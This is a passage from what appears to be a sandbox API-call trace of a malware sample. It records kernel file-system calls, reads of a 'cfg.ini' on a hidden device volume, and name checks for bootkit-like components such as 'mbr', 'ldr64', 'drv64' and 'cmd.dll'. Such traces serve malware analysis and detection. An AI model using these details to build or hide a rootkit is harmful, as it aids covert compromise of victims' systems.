0xfffffa8007ffba30 [0127.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.380] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.380] IdePortDispatch () returned 0x103 [0127.380] KeWaitForMutexObject () returned 0x0 [0127.380] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.380] KeLeaveCriticalRegion () [0127.380] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.380] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.380] KeEnterCriticalRegion () [0127.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.380] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b5000 [0127.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.380] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.380] IdePortDispatch () returned 0x103 [0127.381] KeWaitForMutexObject () returned 0x0 [0127.381] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.381] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.381] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.381] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.381] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.381] IdePortDispatch () returned 0x103 [0127.381] KeWaitForMutexObject () returned 0x0 [0127.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.381] KeLeaveCriticalRegion () [0127.381] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.382] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.382] KeEnterCriticalRegion () [0127.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.382] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.382] KeLeaveCriticalRegion () [0127.382] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.382] KeEnterCriticalRegion () [0127.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.382] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.382] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039bbaf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.382] KeLeaveCriticalRegion () [0127.382] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.382] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.382] KeEnterCriticalRegion () [0127.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.382] ExFreePoolWithTag (P=0xfffffa800c4f7280, Tag=0x0) [0127.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.382] KeLeaveCriticalRegion () [0127.382] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.382] ReleaseMutex (hMutex=0xf0) returned 1 [0127.382] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.382] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.382] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.382] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.383] KeEnterCriticalRegion () [0127.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.383] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.383] IdePortDispatch () returned 0x103 [0127.383] KeWaitForMutexObject () returned 0x0 [0127.384] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.384] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.384] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.384] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.384] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.384] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.384] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.384] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.384] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.384] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.384] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.384] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.384] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.384] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.384] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.384] KeLeaveCriticalRegion () [0127.384] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.384] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.384] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.384] KeEnterCriticalRegion () [0127.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.384] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.384] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.384] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.384] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.384] IdePortDispatch () returned 0x103 [0127.384] KeWaitForMutexObject () returned 0x0 [0127.384] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.385] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.385] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.385] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.385] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.385] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.385] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.385] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.385] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.385] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.385] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.385] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.385] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.385] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.385] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.385] KeLeaveCriticalRegion () [0127.385] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.385] ReleaseMutex (hMutex=0x100) returned 1 [0127.385] Sleep (dwMilliseconds=0x2bf20) [0127.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f203410, dwHighDateTime=0x1d24fa4)) [0127.393] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.393] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.393] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.393] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.393] KeEnterCriticalRegion () [0127.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.394] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.394] IdePortDispatch () returned 0x103 [0127.394] KeWaitForMutexObject () returned 0x0 [0127.394] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.394] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.394] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.394] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.394] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.394] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039b7920 [0127.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.394] KeLeaveCriticalRegion () [0127.394] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.394] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.394] KeEnterCriticalRegion () [0127.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.394] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.394] KeLeaveCriticalRegion () [0127.394] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.394] KeEnterCriticalRegion () [0127.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.394] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.394] IdePortDispatch () returned 0x103 [0127.395] KeWaitForMutexObject () returned 0x0 [0127.395] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.395] KeLeaveCriticalRegion () [0127.395] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.395] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.395] KeEnterCriticalRegion () [0127.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.395] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b8000 [0127.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.395] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.395] IdePortDispatch () returned 0x103 [0127.395] KeWaitForMutexObject () returned 0x0 [0127.395] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.396] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.396] IdePortDispatch () returned 0x103 [0127.396] KeWaitForMutexObject () returned 0x0 [0127.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.396] KeLeaveCriticalRegion () [0127.396] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.396] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.397] KeEnterCriticalRegion () [0127.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.397] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.397] KeLeaveCriticalRegion () [0127.397] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.397] KeEnterCriticalRegion () [0127.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.397] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.397] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039bbaf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.397] KeLeaveCriticalRegion () [0127.397] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.397] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.397] KeEnterCriticalRegion () [0127.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.397] ExFreePoolWithTag (P=0xfffffa80039b7920, Tag=0x0) [0127.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.397] KeLeaveCriticalRegion () [0127.397] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.397] ReleaseMutex (hMutex=0xf0) returned 1 [0127.397] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.397] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.397] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.397] KeEnterCriticalRegion () [0127.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.397] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.397] IdePortDispatch () returned 0x103 [0127.398] KeWaitForMutexObject () returned 0x0 [0127.398] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.398] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.398] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.398] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.398] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.398] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adce10 [0127.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.398] KeLeaveCriticalRegion () [0127.398] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.398] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.398] KeEnterCriticalRegion () [0127.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.398] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.398] KeLeaveCriticalRegion () [0127.398] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.398] KeEnterCriticalRegion () [0127.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.398] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.398] IdePortDispatch () returned 0x103 [0127.398] KeWaitForMutexObject () returned 0x0 [0127.399] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.399] KeLeaveCriticalRegion () [0127.399] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.399] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.399] KeEnterCriticalRegion () [0127.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.399] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b9000 [0127.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.399] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.399] IdePortDispatch () returned 0x103 [0127.399] KeWaitForMutexObject () returned 0x0 [0127.399] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.399] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.399] IdePortDispatch () returned 0x103 [0127.399] KeWaitForMutexObject () returned 0x0 [0127.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.400] KeLeaveCriticalRegion () [0127.400] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.400] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.400] KeEnterCriticalRegion () [0127.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.400] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.400] KeLeaveCriticalRegion () [0127.400] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.401] KeEnterCriticalRegion () [0127.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.401] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.401] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1b60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.401] KeLeaveCriticalRegion () [0127.401] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.401] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.401] KeEnterCriticalRegion () [0127.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.401] ExFreePoolWithTag (P=0xfffffa8002adce10, Tag=0x0) [0127.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 